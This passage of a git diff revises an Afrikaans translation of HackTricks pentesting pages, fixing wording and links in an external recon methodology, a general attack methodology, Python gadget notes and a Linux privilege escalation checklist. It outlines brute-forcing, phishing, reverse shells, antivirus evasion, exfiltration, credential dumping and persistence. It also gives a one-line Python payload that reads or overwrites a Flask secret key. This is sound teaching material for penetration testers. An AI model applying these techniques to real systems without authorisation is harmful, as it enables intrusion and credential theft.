-**Poortskaande al die IPs wat nie aan CDN's behoort nie** (aangesien jy waarskynlik niks interessant daar sal vind nie). In die lopende dienste wat ontdek is, mag jy **kwesbaarhede vind**.
+**Poortskaans al die IPs wat nie aan CDN's behoort nie** (aangesien jy waarskynlik niks interessant daar sal vind nie). In die lopende dienste wat ontdek is, mag jy **kwesbaarhede vind**.
-**Vind 'n** [**gids**](../pentesting-network/) **oor hoe om gashere te skandeer.**
+**Vind 'n** [**gids**](../pentesting-network/index.html) **oor hoe om gashere te skandeer.**
## Webbedieners jag
> Ons het al die maatskappye en hul bates gevind en ons weet IP-reekse, domeine en subdomeine binne die omvang. Dit is tyd om na webbedieners te soek.
-In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** gedoen, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks sien om webbedieners** binne die omvang te soek.
+In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** gedoen, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks om webbedieners te soek** binne die omvang kyk.
-Let asseblief daarop dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**as toegelaat** deur die omvang).
+Let asseblief daarop dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaanning** uitvoer (**indien toegelaat** deur die omvang).
-'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan [**masscan** hier gevind word](../pentesting-network/index.html#http-port-discovery).\
-Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Boonop kan jy aandui om ander poorte te probeer:
+'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan met [**masscan** hier gevind word](../pentesting-network/index.html#http-port-discovery).\
+Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@@ -496,13 +496,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Laat ons dit eenvoudig maak en begin net deur skermskootte van al hulle te neem. Net deur **na die hoofbladsy te kyk** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees.
-Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
+Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** gebruik.**
Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwesbaarhede bevat**, en wat nie.
## Publieke Wolk Bate
-Om potensiële wolk bates wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n crypto-maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "", <"subdomain_names">` gebruik.
+Om potensiële wolk bates wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n crypto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "", <"subdomain_names">` gebruik.
Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
@@ -512,7 +512,7 @@ Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
Dan, met daardie woorde moet jy **permutasies** genereer (kyk na die [**Tweede Ronde DNS Brute-Force**](#second-dns-bruteforce-round) vir meer inligting).
-Met die resulterende woordlyste kan jy gereedskap soos [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
+Met die resulterende woordlyste kan jy gereedskap soos [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gebruik.**
Onthou dat wanneer jy na Wolk Bates soek, jy moet **kyk na meer as net emmers in AWS**.
@@ -531,7 +531,7 @@ Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat j
### **Soek na kwesbaarhede**
-E-posse sal later handig wees om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
+E-posse sal later handig te pas kom om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
## Kredensiaal Lekke
@@ -550,10 +550,10 @@ Kredensiaal lekke is verwant aan hacks van maatskappye waar **sensitiewe inligti
### Github Lekke
-Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\
+Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek wees.\
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
-**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's aan dit gegee** word, aangesien **webbladsye ook geheime kan bevat**.
+**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's aan dit gegee** is, aangesien **webbladsye ook geheime kan bevat**.
#### Github Dorks
@@ -565,14 +565,14 @@ github-leaked-secrets.md
### Paste Lekke
-Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste-webwerf publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
-Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste-webwerwe gelyktydig te soek.
+Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste site publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
+Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste sites gelyktydig te soek.
### Google Dorks
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
-_Ontspan dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie vinnig sal blokkeer._
+_Noteer dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie vinnig sal blokkeer._
### **Soek na kwesbaarhede**
@@ -592,11 +592,11 @@ Daar is ook gratis dienste wat jou toelaat om **openbare repositories** te **ska
- [**Snyk**](https://app.snyk.io/)
-## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
+## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/index.html)
-Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
+Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/index.html).
-Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
+Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig te pas kom om hulle in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
## Herhaling
@@ -605,11 +605,11 @@ Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde
So jy het reeds:
1. Alle **maatskappye** binne die omvang gevind
-2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar kwesbaarheid skandeer as dit in omvang is)
+2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar vuln skandeer as dit in omvang is)
3. Alle **domeine** wat aan die maatskappye behoort gevind
4. Alle **subdomeine** van die domeine gevind (enige subdomein oorneem?)
5. Alle **IP's** (van en **nie van CDNs**) binne die omvang gevind.
-6. Alle **webbedieners** gevind en 'n **skermskoot** daarvan geneem (iets vreemd wat 'n dieper kyk werd is?)
+6. Alle **webbedieners** gevind en 'n **skermskoot** van hulle geneem (iets vreemd wat 'n dieper kyk werd is?)
7. Alle **potensiële publieke wolk bates** wat aan die maatskappy behoort gevind.
8. **E-posse**, **kredensiaal lekke**, en **geheime lekke** wat jou 'n **groot oorwinning baie maklik kan gee**.
9. **Pentesting al die webwerwe wat jy gevind het**
diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md
index b419908a7..85ec5166c 100644
--- a/src/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/src/generic-methodologies-and-resources/pentesting-methodology.md
@@ -13,14 +13,14 @@ _Hacktricks logo's ontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppier
Het jy **fisiese toegang** tot die masjien wat jy wil aanval? Jy moet 'n paar [**tricks oor fisiese aanvalle**](../hardware-physical-access/physical-attacks.md) en ander oor [**ontsnapping van GUI-toepassings**](../hardware-physical-access/escaping-from-gui-applications.md) lees.
-### 1 - [Ontdek hosts binne die netwerk](pentesting-network/index.html#discovering-hosts)/ [Ontdek bates van die maatskappy](external-recon-methodology/)
+### 1 - [Ontdek hosts binne die netwerk](pentesting-network/index.html#discovering-hosts)/ [Ontdek bates van die maatskappy](external-recon-methodology/index.html)
**Afhangende** of die **toets** wat jy uitvoer 'n **interne of eksterne toets** is, mag jy belangstel om **hosts binne die maatskappy se netwerk** (interne toets) of **bates van die maatskappy op die internet** (eksterne toets) te vind.
> [!NOTE]
> Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy daarin slaag om toegang tot die interne netwerk van die maatskappy te verkry, jy hierdie gids weer moet begin.
-### **2-** [**Geniet die netwerk**](pentesting-network/) **(Intern)**
+### **2-** [**Geniet die netwerk**](pentesting-network/index.html) **(Intern)**
**Hierdie afdeling geld slegs as jy 'n interne toets uitvoer.**\
Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Netwerk**](pentesting-network/index.html#sniffing) lees.
@@ -39,28 +39,28 @@ As daar nie enige fancy exploit vir enige lopende diens is nie, moet jy soek na
**Binne hierdie boek sal jy 'n gids vind om die mees algemene dienste te pentest** (en ander wat nie so algemeen is nie)**. Soek asseblief in die linkerindeks die** _**PENTESTING**_ **afdeling** (die dienste is georden volgens hul standaard poorte).
-**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deel (aangesien dit die mees uitgebreide een is).**\
+**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **deel (aangesien dit die mees uitgebreide een is).**\
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](../generic-hacking/search-exploits.md) kan hier gevind word.
**As jou diens nie in die indeks is nie, soek in Google** vir ander tutorials en **laat weet my as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
#### 5.1 Outomatiese Gereedskap
-Daar is ook verskeie gereedskap wat **outomatiese kwesbaarheidsevaluasies** kan uitvoer. **Ek sou aanbeveel dat jy** [**Legion**](https://github.com/carlospolop/legion)** probeer, wat die gereedskap is wat ek geskep het en dit is gebaseer op die notas oor pentesting dienste wat jy in hierdie boek kan vind.**
+Daar is ook verskeie gereedskap wat **outomatiese kwesbaarheidsevaluasies** kan uitvoer. **Ek sal aanbeveel dat jy** [**Legion**](https://github.com/carlospolop/legion)** probeer, wat die gereedskap is wat ek geskep het en dit is gebaseer op die notas oor pentesting dienste wat jy in hierdie boek kan vind.**
#### **5.2 Brute-Forcing dienste**
In sommige scenario's kan 'n **Brute-Force** nuttig wees om 'n **diens** te **kompromitteer**. [**Vind hier 'n CheatSheet van verskillende dienste brute forcing**](../generic-hacking/brute-force.md)**.**
-### 6- [Phishing](phishing-methodology/)
+### 6- [Phishing](phishing-methodology/index.html)
-As jy op hierdie punt nie enige interessante kwesbaarheid gevind het nie, mag jy **moet probeer om 'n paar phishing** te doen om binne die netwerk te kom. Jy kan my phishing metodologie [hier](phishing-methodology/) lees:
+As jy op hierdie punt nie enige interessante kwesbaarheid gevind het nie, **moet jy dalk probeer om 'n bietjie phishing** om binne die netwerk te kom. Jy kan my phishing metodologie [hier](phishing-methodology/index.html) lees:
-### **7-** [**Kry Shell**](../generic-hacking/reverse-shells/)
+### **7-** [**Kry Shell**](../generic-hacking/reverse-shells/index.html)
-Op een of ander manier moet jy 'n **manier gevind het om kode** in die slagoffer uit te voer. Dan, [sal 'n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n omgekeerde shell te kry baie nuttig wees](../generic-hacking/reverse-shells/).
+Op een of ander manier moet jy 'n **manier gevind het om kode** in die slagoffer uit te voer. Dan, [‘n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n reverse shell te kry, sal baie nuttig wees](../generic-hacking/reverse-shells/index.html).
-Veral in Windows mag jy hulp nodig hê om **antivirusprogramme te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
+Veral in Windows mag jy 'n bietjie hulp nodig hê om **antivirusse te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
### 8- Binne
@@ -68,30 +68,30 @@ As jy probleme met die shell het, kan jy hier 'n klein **samestelling van die nu
- [**Linux**](../linux-hardening/useful-linux-commands.md)
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
-- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
+- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
### **9 -** [**Exfiltrasie**](../generic-hacking/exfiltration.md)
-Jy sal waarskynlik **data van die slagoffer moet onttrek** of selfs **iets moet invoer** (soos voorregverhogingskripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](../generic-hacking/exfiltration.md)**.**
+Jy sal waarskynlik moet **data van die slagoffer onttrek** of selfs **iets inbring** (soos voorregverhogingskripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](../generic-hacking/exfiltration.md)**.**
### **10- Voorregverhoging**
#### **10.1- Plaaslike Privesc**
As jy **nie root/Administrator** binne die boks is nie, moet jy 'n manier vind om **voorregte te verhoog.**\
-Hier kan jy 'n **gids vind om voorregte plaaslik in** [**Linux**](../linux-hardening/privilege-escalation/) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)** te verhoog.**\
+Hier kan jy 'n **gids vind om voorregte plaaslik in** [**Linux**](../linux-hardening/privilege-escalation/index.html) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)** te verhoog.**\
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
-- [**Verifikasie, Akrediteer, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- Hoe [**NTLM werk**](../windows-hardening/ntlm/)
+- [**Verifikasie, Akrediteer, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
+- Hoe [**NTLM werk**](../windows-hardening/ntlm/index.html)
- Hoe om [**akrediteer te steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
-- Sommige truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
+- Sommige tricks oor [_**Aktiewe Directory**_](../windows-hardening/active-directory-methodology/index.html)
**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Voorregverhoging paaie te enumerate nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Domein Privesc**
-Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, voorregte te verhoog en volharding op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
+Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, voorregte te verhoog en volharding op 'n Aktiewe Directory**](../windows-hardening/active-directory-methodology/index.html). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
### 11 - POST
@@ -102,8 +102,8 @@ Vind hier verskillende maniere om [**wagwoorde in Windows te dump**](https://git
#### 11.2 - Volharding
-**Gebruik 2 of 3 verskillende tipes volhardingsmeganisme sodat jy nie die stelsel weer hoef te exploiteer nie.**\
-**Hier kan jy 'n paar** [**volharding truuks op aktiewe gids**](../windows-hardening/active-directory-methodology/index.html#persistence)** vind.**
+**Gebruik 2 of 3 verskillende tipes volhardingsmeganismes sodat jy nie die stelsel weer hoef te exploiteer nie.**\
+**Hier kan jy 'n paar** [**volharding tricks op aktiewe directory**](../windows-hardening/active-directory-methodology/index.html#persistence)** vind.**
TODO: Voltooi volharding Post in Windows & Linux
@@ -111,22 +111,22 @@ TODO: Voltooi volharding Post in Windows & Linux
Met die **versamelde akrediteer** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
In hierdie geval kan tonnelering nodig wees. Hier kan jy [**'n pos oor tonnelering vind**](../generic-hacking/tunneling-and-port-forwarding.md).\
-Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, voorregte te verhoog en akrediteer te dump.\
-Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om op Windows omgewings te pivot.
+Jy moet beslis ook die pos oor [Aktiewe Directory pentesting Metodologie](../windows-hardening/active-directory-methodology/index.html) nagaan. Daar sal jy oulike tricks vind om lateraal te beweeg, voorregte te verhoog en akrediteer te dump.\
+Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/index.html), dit kan baie nuttig wees om op Windows omgewings te pivot.
### MEER
-#### [Android Toepassings](../mobile-pentesting/android-app-pentesting/)
+#### [Android Toepassings](../mobile-pentesting/android-app-pentesting/index.html)
#### **Exploitering**
-- [**Basiese Linux Exploitering**](broken-reference/)
+- [**Basiese Linux Exploitering**](broken-reference/index.html)
- [**Basiese Windows Exploitering**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Basiese exploitering gereedskap**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Basiese exploitering gereedskap**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
-#### [**Basiese Python**](python/)
+#### [**Basiese Python**](python/index.html)
-#### **Crypto truuks**
+#### **Crypto tricks**
- [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md
index 8889c04ef..11cdace07 100644
--- a/src/generic-methodologies-and-resources/python/README.md
+++ b/src/generic-methodologies-and-resources/python/README.md
@@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
-
-**Interessante bladsye om te kyk:**
+**Interessante bladsye om na te kyk:**
- [**Pyscript hacking truuks**](pyscript.md)
- [**Python deserialisasies**](../../pentesting-web/deserialization/index.html#python)
-- [**Truuks om python sandboxes te omseil**](bypass-python-sandboxes/)
+- [**Truuks om python sandboxes te omseil**](bypass-python-sandboxes/index.html)
- [**Basiese python web versoek sintaksis**](web-requests.md)
- [**Basiese python sintaksis en biblioteke**](basic-python.md)
diff --git a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md
index 9b92dcfe8..98a8b8e50 100644
--- a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md
+++ b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md
@@ -4,7 +4,7 @@
## Basiese Inligting
-Verskillende kwesbaarhede soos [**Python Formaat Strings**](bypass-python-sandboxes/index.html#python-format-string) of [**Klas Besoedeling**](class-pollution-pythons-prototype-pollution.md) mag jou toelaat om **python interne data te lees maar sal jou nie toelaat om kode uit te voer nie**. Daarom sal 'n pentester die meeste van hierdie lees toestemmings moet maak om **sensitiewe voorregte te verkry en die kwesbaarheid te eskaleer**.
+Verskillende kwesbaarhede soos [**Python Formaat Strings**](bypass-python-sandboxes/index.html#python-format-string) of [**Klas Besoedeling**](class-pollution-pythons-prototype-pollution.md) mag jou toelaat om **python interne data te lees maar sal jou nie toelaat om kode uit te voer nie**. Daarom sal 'n pentester die meeste van hierdie lees toestemmings moet benut om **sensitiewe voorregte te verkry en die kwesbaarheid te eskaleer**.
### Flask - Lees geheime sleutel
@@ -13,7 +13,7 @@ Die hoofblad van 'n Flask-toepassing sal waarskynlik die **`app`** globale objek
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
-In hierdie geval is dit moontlik om toegang tot hierdie objek te verkry net deur enige gadget te gebruik om **globale objekte te bekom** van die [**Bypass Python sandboxes page**](bypass-python-sandboxes/).
+In hierdie geval is dit moontlik om toegang tot hierdie objek te verkry net deur enige gadget te gebruik om **globale objek te benader** vanaf die [**Bypass Python sandboxes page**](bypass-python-sandboxes/index.html).
In die geval waar **die kwesbaarheid in 'n ander python-lêer is**, benodig jy 'n gadget om lêers te traverseer om by die hoof een te kom om **toegang tot die globale objek `app.secret_key`** te verkry om die Flask geheime sleutel te verander en in staat te wees om [**privileges te eskaleer** deur hierdie sleutel te ken](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
@@ -21,7 +21,7 @@ In die geval waar **die kwesbaarheid in 'n ander python-lêer is**, benodig jy '
```python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
```
-Gebruik hierdie payload om **`app.secret_key`** (die naam in jou app mag anders wees) te verander om nuwe en meer bevoegde flask koekies te kan teken.
+Gebruik hierdie payload om **`app.secret_key`** (die naam in jou app mag anders wees) te verander sodat jy nuwe en meer bevoegdheid flask koekies kan teken.
### Werkzeug - machine_id en node uuid
diff --git a/src/linux-hardening/linux-privilege-escalation-checklist.md b/src/linux-hardening/linux-privilege-escalation-checklist.md
index c4871c578..b25ff413d 100644
--- a/src/linux-hardening/linux-privilege-escalation-checklist.md
+++ b/src/linux-hardening/linux-privilege-escalation-checklist.md
@@ -33,14 +33,14 @@
- [ ] Soek na **exploits van lopende prosesse** (veral die weergawe wat aan die gang is).
- [ ] Kan jy die **binaire** van enige lopende proses **wysig**?
- [ ] **Monitor prosesse** en kyk of enige interessante proses gereeld aan die gang is.
-- [ ] Kan jy **lees** van enige interessante **prosesgeheue** (waar wagwoorde gestoor kan word)?
+- [ ] Kan jy **lees** van sommige interessante **prosesgeheue** (waar wagwoorde gestoor kan word)?
### [Geplande/Cron werke?](privilege-escalation/index.html#scheduled-jobs)
- [ ] Word die [**PATH**](privilege-escalation/index.html#cron-path) deur 'n cron gewysig en kan jy daarin **skryf**?
- [ ] Enige [**wildcard**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) in 'n cron werk?
-- [ ] Enige [**wysigbare skrip**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) wat **uitgevoer** word of binne 'n **wysigbare gids** is?
-- [ ] Het jy opgemerk dat 'n **skrip** [**baie gereeld**](privilege-escalation/index.html#frequent-cron-jobs) kan of word [**uitgevoer**]? (elke 1, 2 of 5 minute)
+- [ ] Sommige [**wysigbare skrip**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) word **uitgevoer** of is binne **wysigbare gids**?
+- [ ] Het jy opgemerk dat sommige **skrip** of [**uitgevoer** word **baie** **gereeld**](privilege-escalation/index.html#frequent-cron-jobs)? (elke 1, 2 of 5 minute)
### [Dienste](privilege-escalation/index.html#services)
@@ -72,10 +72,10 @@
- [ ] Generiese gebruikers/groepe **inventarisering**
- [ ] Het jy 'n **baie groot UID**? Is die **masjien** **kwesbaar**?
-- [ ] Kan jy [**privileges verhoog danksy 'n groep**](privilege-escalation/interesting-groups-linux-pe/) waartoe jy behoort?
+- [ ] Kan jy [**privileges verhoog danksy 'n groep**](privilege-escalation/interesting-groups-linux-pe/index.html) waartoe jy behoort?
- [ ] **Klipbord** data?
- [ ] Wagwoordbeleid?
-- [ ] Probeer om **elke bekende wagwoord** wat jy voorheen ontdek het te gebruik om in te log **met elke** moontlike **gebruiker**. Probeer ook om sonder 'n wagwoord in te log.
+- [ ] Probeer om **elke** **bekende wagwoord** wat jy voorheen ontdek het te gebruik om in te log **met elke** moontlike **gebruiker**. Probeer ook om sonder 'n wagwoord in te log.
### [Skryfbare PATH](privilege-escalation/index.html#writable-path-abuses)
@@ -83,7 +83,7 @@
### [SUDO en SUID opdragte](privilege-escalation/index.html#sudo-and-suid)
-- [ ] Kan jy **enige opdrag met sudo uitvoer**? Kan jy dit gebruik om IES, SKRYF of UITVOER enigiets as root? ([**GTFOBins**](https://gtfobins.github.io))
+- [ ] Kan jy **enige opdrag met sudo** uitvoer? Kan jy dit gebruik om IES, SKRYF of UITVOER enigiets as root? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Is enige **exploitable SUID binaire**? ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Is [**sudo** opdragte **beperk** deur **pad**? kan jy die beperkings **omseil**](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
- [ ] [**Sudo/SUID binaire sonder pad aangedui**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
@@ -115,8 +115,8 @@
### [Interessante Lêers](privilege-escalation/index.html#interesting-files)
-- [ ] **Profiel lêers** - Lees sensitiewe data? Skryf na privesc?
-- [ ] **passwd/shadow lêers** - Lees sensitiewe data? Skryf na privesc?
+- [ ] **Profiel lêers** - Lees sensitiewe data? Skryf na privesk?
+- [ ] **passwd/shadow lêers** - Lees sensitiewe data? Skryf na privesk?
- [ ] **Kontroleer algemeen interessante gidsen** vir sensitiewe data
- [ ] **Vreemde Ligging/Eienaars lêers,** jy mag toegang hê tot of uitvoerbare lêers verander
- [ ] **Gewysig** in laaste minute
diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md
index e25e5807d..e32930439 100644
--- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md
